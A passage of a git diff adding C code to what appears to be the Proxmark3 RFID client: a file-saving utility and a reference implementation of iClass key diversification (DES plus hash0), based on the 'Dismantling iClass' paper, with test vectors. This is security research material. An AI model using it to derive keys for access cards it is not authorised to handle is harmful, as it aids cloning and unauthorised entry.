+       sprintf(fileName,"%s.%s", preferredName, suffix);
+       while(fileExists(fileName))
+       {
+               sprintf(fileName,"%s-%d.%s", preferredName, num, suffix);
+               num++;
+       }
+       /* We should have a valid filename now, e.g. dumpdata-3.bin */
+
+       /*Opening file for writing in binary mode*/
+       FILE *fileHandle=fopen(fileName,"wb");
+       if(!fileHandle) {
+               prnlog("Failed to write to file '%s'", fileName);
+               return 1;
+       }
+       fwrite(data, 1, datalen, fileHandle);
+       fclose(fileHandle);
+       prnlog("Saved data to '%s'", fileName);
+       free(fileName);
+
+       return 0;
+}
+
+/**
+ * Utility function to print to console. This is used consistently within the library instead
+ * of printf, but it actually only calls printf (and adds a linebreak).
+ * The reason to have this method is to
+ * make it simple to plug this library into proxmark, which has this function already to
+ * write also to a logfile. When doing so, just delete this function.
+ * @param fmt
+ */
+void prnlog(char *fmt, ...)
+{
+
+       va_list args;
+       va_start(args,fmt);
+    PrintAndLog(fmt, args);
+    //vprintf(fmt,args);
+       va_end(args);
+    //printf("\n");
+}
diff --git a/client/loclass/fileutils.h b/client/loclass/fileutils.h
new file mode 100644 (file)
index 0000000..a0f5a79
--- /dev/null
@@ -0,0 +1,24 @@
+#ifndef FILEUTILS_H
+#define FILEUTILS_H
+/**
+ * @brief Utility function to save data to a file. This method takes a preferred name, but if that
+ * file already exists, it tries with another name until it finds something suitable.
+ * E.g. dumpdata-15.txt
+ * @param preferredName
+ * @param suffix the file suffix. Leave out the ".".
+ * @param data The binary data to write to the file
+ * @param datalen the length of the data
+ * @return 0 for ok, 1 for failz
+ */
+int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen);
+
+
+/**
+ * Utility function to print to console. This is used consistently within the library instead
+ * of printf, but it actually only calls printf. The reason to have this method is to
+ *make it simple to plug this library into proxmark, which has this function already to
+ * write also to a logfile. When doing so, just point this function to use PrintAndLog
+ * @param fmt
+ */
+void prnlog(char *fmt, ...);
+#endif // FILEUTILS_H
diff --git a/client/loclass/ikeys.c b/client/loclass/ikeys.c
new file mode 100644 (file)
index 0000000..cd2b72e
--- /dev/null
@@ -0,0 +1,878 @@
+/*****************************************************************************
+ * This file is part of iClassCipher. It is a reconstructon of the cipher engine
+ * used in iClass, and RFID techology.
+ *
+ * The implementation is based on the work performed by
+ * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
+ * Milosch Meriac in the paper "Dismantling IClass".
+ *
+ * This is a reference implementation of iclass key diversification. I'm sure it can be
+ * optimized heavily. It is written for ease of understanding and correctness, please take it
+ * and tweak it and make a super fast version instead, using this for testing and verification.
+
+ * Copyright (C) 2014 Martin Holst Swende
+ *
+ * This is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as published
+ * by the Free Software Foundation.
+ *
+ * This file is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with IClassCipher.  If not, see <http://www.gnu.org/licenses/>.
+ ****************************************************************************/
+/**
+
+
+From "Dismantling iclass":
+       This section describes in detail the built-in key diversification algorithm of iClass.
+       Besides the obvious purpose of deriving a card key from a master key, this
+       algorithm intends to circumvent weaknesses in the cipher by preventing the
+       usage of certain ‘weak’ keys. In order to compute a diversified key, the iClass
+       reader first encrypts the card identity id with the master key K, using single
+       DES. The resulting ciphertext is then input to a function called hash0 which
+       outputs the diversified key k.
+
+       k = hash0(DES enc (id, K))
+
+       Here the DES encryption of id with master key K outputs a cryptogram c
+       of 64 bits. These 64 bits are divided as c = x, y, z [0] , . . . , z [7] ∈ F 82 × F 82 × (F 62 ) 8
+       which is used as input to the hash0 function. This function introduces some
+       obfuscation by performing a number of permutations, complement and modulo
+       operations, see Figure 2.5. Besides that, it checks for and removes patterns like
+       similar key bytes, which could produce a strong bias in the cipher. Finally, the
+       output of hash0 is the diversified card key k = k [0] , . . . , k [7] ∈ (F 82 ) 8 .
+
+
+**/
+
+
+#include <stdint.h>
+#include <stdbool.h>
+#include <string.h>
+#include <stdio.h>
+#include <inttypes.h>
+#include "fileutils.h"
+#include "cipherutils.h"
+#include "des.h"
+
+uint8_t pi[35] = {0x0F,0x17,0x1B,0x1D,0x1E,0x27,0x2B,0x2D,0x2E,0x33,0x35,0x39,0x36,0x3A,0x3C,0x47,0x4B,0x4D,0x4E,0x53,0x55,0x56,0x59,0x5A,0x5C,0x63,0x65,0x66,0x69,0x6A,0x6C,0x71,0x72,0x74,0x78};
+
+static des_context ctx_enc = {DES_ENCRYPT,{0}};
+static des_context ctx_dec = {DES_DECRYPT,{0}};
+
+static int debug_print = 0;
+
+/**
+ * @brief The key diversification algorithm uses 6-bit bytes.
+ * This implementation uses 64 bit uint to pack seven of them into one
+ * variable. When they are there, they are placed as follows:
+ * XXXX XXXX N0 .... N7, occupying the lsat 48 bits.
+ *
+ * This function picks out one from such a collection
+ * @param all
+ * @param n bitnumber
+ * @return
+ */
+uint8_t getSixBitByte(uint64_t c, int n)
+{
+       return (c >> (42-6*n)) & 0x3F;
+}
+
+/**
+ * @brief Puts back a six-bit 'byte' into a uint64_t.
+ * @param c buffer
+ * @param z the value to place there
+ * @param n bitnumber.
+ */
+void pushbackSixBitByte(uint64_t *c, uint8_t z, int n)
+{
+       //0x XXXX YYYY ZZZZ ZZZZ ZZZZ
+       //             ^z0         ^z7
+       //z0:  1111 1100 0000 0000
+
+       uint64_t masked = z & 0x3F;
+       uint64_t eraser = 0x3F;
+       masked <<= 42-6*n;
+       eraser <<= 42-6*n;
+
+       //masked <<= 6*n;
+       //eraser <<= 6*n;
+
+       eraser = ~eraser;
+       (*c) &= eraser;
+       (*c) |= masked;
+
+}
+/**
+ * @brief Swaps the z-values.
+ * If the input value has format XYZ0Z1...Z7, the output will have the format
+ * XYZ7Z6...Z0 instead
+ * @param c
+ * @return
+ */
+uint64_t swapZvalues(uint64_t c)
+{
+       uint64_t newz = 0;
+       pushbackSixBitByte(&newz, getSixBitByte(c,0),7);
+       pushbackSixBitByte(&newz, getSixBitByte(c,1),6);
+       pushbackSixBitByte(&newz, getSixBitByte(c,2),5);
+       pushbackSixBitByte(&newz, getSixBitByte(c,3),4);
+       pushbackSixBitByte(&newz, getSixBitByte(c,4),3);
+       pushbackSixBitByte(&newz, getSixBitByte(c,5),2);
+       pushbackSixBitByte(&newz, getSixBitByte(c,6),1);
+       pushbackSixBitByte(&newz, getSixBitByte(c,7),0);
+       newz |= (c & 0xFFFF000000000000);
+       return newz;
+}
+
+/**
+* @return 4 six-bit bytes chunked into a uint64_t,as 00..00a0a1a2a3
+*/
+uint64_t ck(int i, int j, uint64_t z)
+{
+
+       if(i == 1 && j == -1)
+       {
+               // ck(1, −1, z [0] . . . z [3] ) = z [0] . . . z [3]
+               return z;
+
+       }else if( j == -1)
+       {
+               // ck(i, −1, z [0] . . . z [3] ) = ck(i − 1, i − 2, z [0] . . . z [3] )
+               return ck(i-1,i-2, z);
+       }
+
+       if(getSixBitByte(z,i) == getSixBitByte(z,j))
+       {
+
+               //ck(i, j − 1, z [0] . . . z [i] ← j . . . z [3] )
+               uint64_t newz = 0;
+               int c;
+               for(c = 0; c < 4 ;c++)
+               {
+                       uint8_t val = getSixBitByte(z,c);
+                       if(c == i)
+                       {
+                               pushbackSixBitByte(&newz, j, c);
+                       }else
+                       {
+                               pushbackSixBitByte(&newz, val, c);
+                       }
+               }
+               return ck(i,j-1,newz);
+       }else
+       {
+               return ck(i,j-1,z);
+       }
+}
+/**
+
+       Definition 8.
+       Let the function check : (F 62 ) 8 → (F 62 ) 8 be defined as
+       check(z [0] . . . z [7] ) = ck(3, 2, z [0] . . . z [3] ) · ck(3, 2, z [4] . . . z [7] )
+
+       where ck : N × N × (F 62 ) 4 → (F 62 ) 4 is defined as
+
+               ck(1, −1, z [0] . . . z [3] ) = z [0] . . . z [3]
+               ck(i, −1, z [0] . . . z [3] ) = ck(i − 1, i − 2, z [0] . . . z [3] )
+               ck(i, j, z [0] . . . z [3] ) =
+               ck(i, j − 1, z [0] . . . z [i] ← j . . . z [3] ),  if z [i] = z [j] ;
+               ck(i, j − 1, z [0] . . . z [3] ), otherwise
+
+       otherwise.
+**/
+
+uint64_t check(uint64_t z)
+{
+       //These 64 bits are divided as c = x, y, z [0] , . . . , z [7]
+
+       // ck(3, 2, z [0] . . . z [3] )
+       uint64_t ck1 = ck(3,2, z );
+
+       // ck(3, 2, z [4] . . . z [7] )
+       uint64_t ck2 = ck(3,2, z << 24);
+
+       //The ck function will place the values
+       // in the middle of z.
+       ck1 &= 0x00000000FFFFFF000000;
+       ck2 &= 0x00000000FFFFFF000000;
+
+       return ck1 | ck2 >> 24;
+
+}
+
+void permute(BitstreamIn *p_in, uint64_t z,int l,int r, BitstreamOut* out)
+{
+       if(bitsLeft(p_in) == 0)
+       {
+               return;
+       }
+       bool pn = tailBit(p_in);
+       if( pn ) // pn = 1
+       {
+               uint8_t zl = getSixBitByte(z,l);
+
+               push6bits(out, zl+1);
+               permute(p_in, z, l+1,r, out);
+       }else // otherwise
+       {
+               uint8_t zr = getSixBitByte(z,r);
+
+               push6bits(out, zr);
+               permute(p_in,z,l,r+1,out);
+       }
+}
+void printbegin()
+{
+       if(debug_print <2)
+               return ;
+
+       prnlog("          | x| y|z0|z1|z2|z3|z4|z5|z6|z7|");
+}
+
+void printState(char* desc, uint64_t c)
+{
+       if(debug_print < 2)
+               return ;
+
+       printf("%s : ", desc);
+       uint8_t x =     (c & 0xFF00000000000000 ) >> 56;
+       uint8_t y =     (c & 0x00FF000000000000 ) >> 48;
+       printf("  %02x %02x", x,y);
+       int i ;
+       for(i =0 ; i < 8 ; i++)
+       {
+               printf(" %02x", getSixBitByte(c,i));
+       }
+       printf("\n");
+}
+
+/**
+ * @brief
+ *Definition 11. Let the function hash0 : F 82 × F 82 × (F 62 ) 8 → (F 82 ) 8 be defined as
+ *     hash0(x, y, z [0] . . . z [7] ) = k [0] . . . k [7] where
+ * z'[i] = (z[i] mod (63-i)) + i       i =  0...3
+ * z'[i+4] = (z[i+4] mod (64-i)) + i   i =  0...3
+ * ẑ = check(z');
+ * @param c
+ * @param k this is where the diversified key is put (should be 8 bytes)
+ * @return
+ */
+void hash0(uint64_t c, uint8_t k[8])
+{
+       c = swapZvalues(c);
+
+       printbegin();
+       printState("origin",c);
+       //These 64 bits are divided as c = x, y, z [0] , . . . , z [7]
+       // x = 8 bits
+       // y = 8 bits
+       // z0-z7 6 bits each : 48 bits
+       uint8_t x =     (c & 0xFF00000000000000 ) >> 56;
+       uint8_t y =     (c & 0x00FF000000000000 ) >> 48;
+       int n;
+       uint8_t zn, zn4, _zn, _zn4;
+       uint64_t zP = 0;
+
+       for(n = 0;  n < 4 ; n++)
+       {
+               zn = getSixBitByte(c,n);
+
+               zn4 = getSixBitByte(c,n+4);
+
+               _zn = (zn % (63-n)) + n;
+               _zn4 = (zn4 % (64-n)) + n;
+
+
+               pushbackSixBitByte(&zP, _zn,n);
+               pushbackSixBitByte(&zP, _zn4,n+4);
+
+       }
+       printState("0|0|z'",zP);
+
+       uint64_t zCaret = check(zP);
+       printState("0|0|z^",zP);
+
+
+       uint8_t p = pi[x % 35];
+
+       if(x & 1) //Check if x7 is 1
+       {
+               p = ~p;
+       }
+
+       if(debug_print >= 2) prnlog("p:%02x", p);
+
+       BitstreamIn p_in = { &p, 8,0 };
+       uint8_t outbuffer[] = {0,0,0,0,0,0,0,0};
+       BitstreamOut out = {outbuffer,0,0};
+       permute(&p_in,zCaret,0,4,&out);//returns 48 bits? or 6 8-bytes
+
+       //Out is now a buffer containing six-bit bytes, should be 48 bits
+       // if all went well
+       //Shift z-values down onto the lower segment
+
+    uint64_t zTilde = x_bytes_to_num(outbuffer,8);
+
+       zTilde >>= 16;
+
+       printState("0|0|z~", zTilde);
+
+       int i;
+       int zerocounter =0 ;
+       for(i =0 ; i < 8  ; i++)
+       {
+
+               // the key on index i is first a bit from y
+               // then six bits from z,
+               // then a bit from p
+
+               // Init with zeroes
+               k[i] = 0;
+               // First, place yi leftmost in k
+               //k[i] |= (y  << i) & 0x80 ;
+
+               // First, place y(7-i) leftmost in k
+               k[i] |= (y  << (7-i)) & 0x80 ;
+
+
+
+               uint8_t zTilde_i = getSixBitByte(zTilde, i);
+               // zTildeI is now on the form 00XXXXXX
+               // with one leftshift, it'll be
+               // 0XXXXXX0
+               // So after leftshift, we can OR it into k
+               // However, when doing complement, we need to
+               // again MASK 0XXXXXX0 (0x7E)
+               zTilde_i <<= 1;
+
+               //Finally, add bit from p or p-mod
+               //Shift bit i into rightmost location (mask only after complement)
+               uint8_t p_i = p >> i & 0x1;
+
+               if( k[i] )// yi = 1
+               {
+                       //printf("k[%d] +1\n", i);
+                       k[i] |= ~zTilde_i & 0x7E;
+                       k[i] |= p_i & 1;
+                       k[i] += 1;
+
+               }else // otherwise
+               {
+                       k[i] |= zTilde_i & 0x7E;
+                       k[i] |= (~p_i) & 1;
+               }
+               if((k[i]  & 1 )== 0)
+               {
+                       zerocounter ++;
+               }
+       }
+}
+/**
+ * @brief Performs Elite-class key diversification
+ * @param csn
+ * @param key
+ * @param div_key
+ */
+void diversifyKey(uint8_t csn[8], uint8_t key[8], uint8_t div_key[8])
+{
+
+       // Prepare the DES key
+       des_setkey_enc( &ctx_enc, key);
+
+       uint8_t crypted_csn[8] = {0};
+
+       // Calculate DES(CSN, KEY)
+       des_crypt_ecb(&ctx_enc,csn, crypted_csn);
+
+       //Calculate HASH0(DES))
+    uint64_t crypt_csn = x_bytes_to_num(crypted_csn, 8);
+    //uint64_t crypted_csn_swapped = swapZvalues(crypt_csn);
+
+       hash0(crypt_csn,div_key);
+}
+
+
+
+
+
+void testPermute()
+{
+
+       uint64_t x = 0;
+       pushbackSixBitByte(&x,0x00,0);
+       pushbackSixBitByte(&x,0x01,1);
+       pushbackSixBitByte(&x,0x02,2);
+       pushbackSixBitByte(&x,0x03,3);
+       pushbackSixBitByte(&x,0x04,4);
+       pushbackSixBitByte(&x,0x05,5);
+       pushbackSixBitByte(&x,0x06,6);
+       pushbackSixBitByte(&x,0x07,7);
+
+       uint8_t mres[8] = { getSixBitByte(x, 0),
+                                               getSixBitByte(x, 1),
+                                               getSixBitByte(x, 2),
+                                               getSixBitByte(x, 3),
+                                               getSixBitByte(x, 4),
+                                               getSixBitByte(x, 5),
+                                               getSixBitByte(x, 6),
+                                               getSixBitByte(x, 7)};
+       printarr("input_perm", mres,8);
+
+       uint8_t p = ~pi[0];
+       BitstreamIn p_in = { &p, 8,0 };
+       uint8_t outbuffer[] = {0,0,0,0,0,0,0,0};
+       BitstreamOut out = {outbuffer,0,0};
+
+       permute(&p_in, x,0,4, &out);
+
+    uint64_t permuted = x_bytes_to_num(outbuffer,8);
+       //printf("zTilde 0x%"PRIX64"\n", zTilde);
+       permuted >>= 16;
+
+       uint8_t res[8] = { getSixBitByte(permuted, 0),
+                                               getSixBitByte(permuted, 1),
+                                               getSixBitByte(permuted, 2),
+                                               getSixBitByte(permuted, 3),
+                                               getSixBitByte(permuted, 4),
+                                               getSixBitByte(permuted, 5),
+                                               getSixBitByte(permuted, 6),
+                                               getSixBitByte(permuted, 7)};
+       printarr("permuted", res, 8);
+}
+
+//These testcases are
+//{ UID , TEMP_KEY, DIV_KEY} using the specific key
+typedef struct
+{
+       uint8_t uid[8];
+       uint8_t t_key[8];
+       uint8_t div_key[8];
+} Testcase;
+
+
+int testDES(Testcase testcase, des_context ctx_enc, des_context ctx_dec)
+{
+       uint8_t des_encrypted_csn[8] = {0};
+       uint8_t decrypted[8] = {0};
+       uint8_t div_key[8] = {0};
+       int retval = des_crypt_ecb(&ctx_enc,testcase.uid,des_encrypted_csn);
+       retval |= des_crypt_ecb(&ctx_dec,des_encrypted_csn,decrypted);
+
+       if(memcmp(testcase.uid,decrypted,8) != 0)
+       {
+               //Decryption fail
+               prnlog("Encryption <-> Decryption FAIL");
+               printarr("Input", testcase.uid, 8);
+               printarr("Decrypted", decrypted, 8);
+               retval = 1;
+       }
+
+       if(memcmp(des_encrypted_csn,testcase.t_key,8) != 0)
+       {
+               //Encryption fail
+               prnlog("Encryption != Expected result");
+               printarr("Output", des_encrypted_csn, 8);
+               printarr("Expected", testcase.t_key, 8);
+               retval = 1;
+       }
+    uint64_t crypted_csn = x_bytes_to_num(des_encrypted_csn,8);
+       hash0(crypted_csn, div_key);
+
+       if(memcmp(div_key, testcase.div_key ,8) != 0)
+       {
+               //Key diversification fail
+               prnlog("Div key != expected result");
+               printarr("  csn   ", testcase.uid,8);
+               printarr("{csn}   ", des_encrypted_csn,8);
+               printarr("hash0   ", div_key, 8);
+               printarr("Expected", testcase.div_key, 8);
+               retval = 1;
+
+       }
+       return retval;
+}
+bool des_getParityBitFromKey(uint8_t key)
+{//The top 7 bits is used
+       bool parity = ((key & 0x80) >> 7)
+                       ^ ((key & 0x40) >> 6) ^ ((key & 0x20) >> 5)
+                       ^ ((key & 0x10) >> 4) ^ ((key & 0x08) >> 3)
+                       ^ ((key & 0x04) >> 2) ^ ((key & 0x02) >> 1);
+       return !parity;
+}
+
+
+void des_checkParity(uint8_t* key)
+{
+       int i;
+       int fails =0;
+       for(i =0 ; i < 8 ; i++)
+       {
+               bool parity = des_getParityBitFromKey(key[i]);
+               if(parity != (key[i] & 0x1))
+               {
+                       fails++;
+                       prnlog("[+] parity1 fail, byte %d [%02x] was %d, should be %d",i,key[i],(key[i] & 0x1),parity);
+               }
+       }
+       if(fails)
+       {
+               prnlog("[+] parity fails: %d", fails);
+       }else
+       {
+               prnlog("[+] Key syntax is with parity bits inside each byte");
+       }
+}
+
+Testcase testcases[] ={
+
+       {{0x8B,0xAC,0x60,0x1F,0x53,0xB8,0xED,0x11},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x07}},
+       {{0xAE,0x51,0xE5,0x62,0xE7,0x9A,0x99,0x39},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01},{0x04,0x02,0x06,0x08,0x01,0x03,0x05,0x07}},
+       {{0x9B,0x21,0xE4,0x31,0x6A,0x00,0x29,0x62},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02},{0x06,0x04,0x02,0x08,0x01,0x03,0x05,0x07}},
+       {{0x65,0x24,0x0C,0x41,0x4F,0xC2,0x21,0x93},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04},{0x0A,0x04,0x06,0x08,0x01,0x03,0x05,0x07}},
+       {{0x7F,0xEB,0xAE,0x93,0xE5,0x30,0x08,0xBD},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08},{0x12,0x04,0x06,0x08,0x01,0x03,0x05,0x07}},
+       {{0x49,0x7B,0x70,0x74,0x9B,0x35,0x1B,0x83},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10},{0x22,0x04,0x06,0x08,0x01,0x03,0x05,0x07}},
+       {{0x02,0x3C,0x15,0x6B,0xED,0xA5,0x64,0x6C},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20},{0x42,0x04,0x06,0x08,0x01,0x03,0x05,0x07}},
+       {{0xE8,0x37,0xE0,0xE2,0xC6,0x45,0x24,0xF3},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40},{0x02,0x06,0x04,0x08,0x01,0x03,0x05,0x07}},
+       {{0xAB,0xBD,0x30,0x05,0x29,0xC8,0xF7,0x12},{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80},{0x02,0x08,0x06,0x04,0x01,0x03,0x05,0x07}},
+       {{0x17,0xE8,0x97,0xF0,0x99,0xB6,0x79,0x31},{0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00},{0x02,0x0C,0x06,0x08,0x01,0x03,0x05,0x07}},
+       {{0x49,0xA4,0xF0,0x8F,0x5F,0x96,0x83,0x16},{0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00},{0x02,0x14,0x06,0x08,0x01,0x03,0x05,0x07}},
+       {{0x60,0xF5,0x7E,0x54,0xAA,0x41,0x83,0xD4},{0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00},{0x02,0x24,0x06,0x08,0x01,0x03,0x05,0x07}},
+       {{0x1D,0xF6,0x3B,0x6B,0x85,0x55,0xF0,0x4B},{0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x00},{0x02,0x44,0x06,0x08,0x01,0x03,0x05,0x07}},
+       {{0x1F,0xDC,0x95,0x1A,0xEA,0x6B,0x4B,0xB4},{0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00},{0x02,0x04,0x08,0x06,0x01,0x03,0x05,0x07}},
+       {{0xEC,0x93,0x72,0xF0,0x3B,0xA9,0xF5,0x0B},{0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00},{0x02,0x04,0x0A,0x08,0x01,0x03,0x05,0x07}},
+       {{0xDE,0x57,0x5C,0xBE,0x2D,0x55,0x03,0x12},{0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00},{0x02,0x04,0x0E,0x08,0x01,0x03,0x05,0x07}},
+       {{0x1E,0xD2,0xB5,0xCE,0x90,0xC9,0xC1,0xCC},{0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00},{0x02,0x04,0x16,0x08,0x01,0x03,0x05,0x07}},
+       {{0xD8,0x65,0x96,0x4E,0xE7,0x74,0x99,0xB8},{0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00},{0x02,0x04,0x26,0x08,0x01,0x03,0x05,0x07}},
+       {{0xE3,0x7A,0x29,0x83,0x31,0xD5,0x3A,0x54},{0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00},{0x02,0x04,0x46,0x08,0x01,0x03,0x05,0x07}},
+       {{0x3A,0xB5,0x1A,0x34,0x34,0x25,0x12,0xF0},{0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00},{0x02,0x04,0x06,0x0A,0x01,0x03,0x05,0x07}},
+       {{0xF2,0x88,0xEE,0x6F,0x70,0x6F,0xC2,0x52},{0x00,0x00,0x00,0x00,0x00,0x08,0x00,0x00},{0x02,0x04,0x06,0x0C,0x01,0x03,0x05,0x07}},
+       {{0x76,0xEF,0xEB,0x80,0x52,0x43,0x83,0x57},{0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00},{0x02,0x04,0x06,0x10,0x01,0x03,0x05,0x07}},
+       {{0x1C,0x09,0x8E,0x3B,0x23,0x23,0x52,0xB5},{0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00},{0x02,0x04,0x06,0x18,0x01,0x03,0x05,0x07}},
+       {{0xA9,0x13,0xA2,0xBE,0xCF,0x1A,0xC4,0x9A},{0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00},{0x02,0x04,0x06,0x28,0x01,0x03,0x05,0x07}},
+       {{0x25,0x56,0x4B,0xB0,0xC8,0x2A,0xD4,0x27},{0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00},{0x02,0x04,0x06,0x48,0x01,0x03,0x05,0x07}},
+       {{0xB1,0x04,0x57,0x3F,0xA7,0x16,0x62,0xD4},{0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x03,0x01,0x05,0x07}},
+       {{0x45,0x46,0xED,0xCC,0xE7,0xD3,0x8E,0xA3},{0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x05,0x03,0x01,0x07}},
+       {{0x22,0x6D,0xB5,0x35,0xE0,0x5A,0xE0,0x90},{0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x09,0x03,0x05,0x07}},
+       {{0xB8,0xF5,0xE5,0x44,0xC5,0x98,0x4A,0xBD},{0x00,0x00,0x00,0x00,0x08,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x11,0x03,0x05,0x07}},
+       {{0xAC,0x78,0x0A,0x23,0x9E,0xF6,0xBC,0xA0},{0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x21,0x03,0x05,0x07}},
+       {{0x46,0x6B,0x2D,0x70,0x41,0x17,0xBF,0x3D},{0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x41,0x03,0x05,0x07}},
+       {{0x64,0x44,0x24,0x71,0xA2,0x56,0xDF,0xB5},{0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x05,0x03,0x07}},
+       {{0xC4,0x00,0x52,0x24,0xA2,0xD6,0x16,0x7A},{0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x07,0x05,0x03}},
+       {{0xD8,0x4A,0x80,0x1E,0x95,0x5B,0x70,0xC4},{0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x0B,0x05,0x07}},
+       {{0x08,0x56,0x6E,0xB5,0x64,0xD6,0x47,0x4E},{0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x13,0x05,0x07}},
+       {{0x41,0x6F,0xBA,0xA4,0xEB,0xAE,0xA0,0x55},{0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x23,0x05,0x07}},
+       {{0x62,0x9D,0xDE,0x72,0x84,0x4A,0x53,0xD5},{0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x43,0x05,0x07}},
+       {{0x39,0xD3,0x2B,0x66,0xB8,0x08,0x40,0x2E},{0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x07,0x05}},
+       {{0xAF,0x67,0xA9,0x18,0x57,0x21,0xAF,0x8D},{0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x09,0x07}},
+       {{0x34,0xBC,0x9D,0xBC,0xC4,0xC2,0x3B,0xC8},{0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x0D,0x07}},
+       {{0xB6,0x50,0xF9,0x81,0xF6,0xBF,0x90,0x3C},{0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x15,0x07}},
+       {{0x71,0x41,0x93,0xA1,0x59,0x81,0xA5,0x52},{0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x25,0x07}},
+       {{0x6B,0x00,0xBD,0x74,0x1C,0x3C,0xE0,0x1A},{0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x45,0x07}},
+       {{0x76,0xFD,0x0B,0xD0,0x41,0xD2,0x82,0x5D},{0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x09}},
+       {{0xC6,0x3A,0x1C,0x25,0x63,0x5A,0x2F,0x0E},{0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x0B}},
+       {{0xD9,0x0E,0xD7,0x30,0xE2,0xAD,0xA9,0x87},{0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x0F}},
+       {{0x6B,0x81,0xC6,0xD1,0x05,0x09,0x87,0x1E},{0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x17}},
+       {{0xB4,0xA7,0x1E,0x02,0x54,0x37,0x43,0x35},{0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x27}},
+       {{0x45,0x14,0x7C,0x7F,0xE0,0xDE,0x09,0x65},{0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x47}},
+       {{0x78,0xB0,0xF5,0x20,0x8B,0x7D,0xF3,0xDD},{0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00},{0xFE,0x04,0x06,0x08,0x01,0x03,0x05,0x07}},
+       {{0x88,0xB3,0x3C,0xE1,0xF7,0x87,0x42,0xA1},{0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0xFC,0x06,0x08,0x01,0x03,0x05,0x07}},
+       {{0x11,0x2F,0xB2,0xF7,0xE2,0xB2,0x4F,0x6E},{0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0xFA,0x08,0x01,0x03,0x05,0x07}},
+       {{0x25,0x56,0x4E,0xC6,0xEB,0x2D,0x74,0x5B},{0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0xF8,0x01,0x03,0x05,0x07}},
+       {{0x7E,0x98,0x37,0xF9,0x80,0x8F,0x09,0x82},{0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0xFF,0x03,0x05,0x07}},
+       {{0xF9,0xB5,0x62,0x3B,0xD8,0x7B,0x3C,0x3F},{0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0xFD,0x05,0x07}},
